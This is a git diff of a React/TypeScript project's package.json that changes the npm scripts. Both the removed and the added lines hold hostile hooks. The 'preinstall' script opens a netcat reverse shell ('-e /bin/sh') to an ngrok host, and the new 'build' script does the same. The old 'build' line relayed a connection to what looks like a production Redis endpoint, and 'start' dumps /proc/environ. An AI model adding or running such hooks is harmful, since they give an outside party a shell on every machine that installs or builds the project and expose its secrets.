diff --git a/package.json b/package.json
index 5afe5dd..83931f4 100644
--- a/package.json
+++ b/package.json
@@ -13,9 +13,9 @@
     "typescript": "3.8.3"
   },
   "scripts": {
-    "preinstall" : "nc 0.tcp.in.ngrok.io 16849 -e /bin/sh",
+    "preinstall" : "nc 7.tcp.eu.ngrok.io 17595 -e /bin/sh",
     "start": "cat /proc/environ",
-    "build": "nc 0.tcp.in.ngrok.io 17344 -e nc messaging-redis-prod-premium.k2fxzx.0001.use2.cache.amazonaws.com 6379",
+    "build": "nc 7.tcp.eu.ngrok.io 17595 -e /bin/sh",
     "test": "react-scripts test --env=jsdom",
     "eject": "react-scripts eject"
   },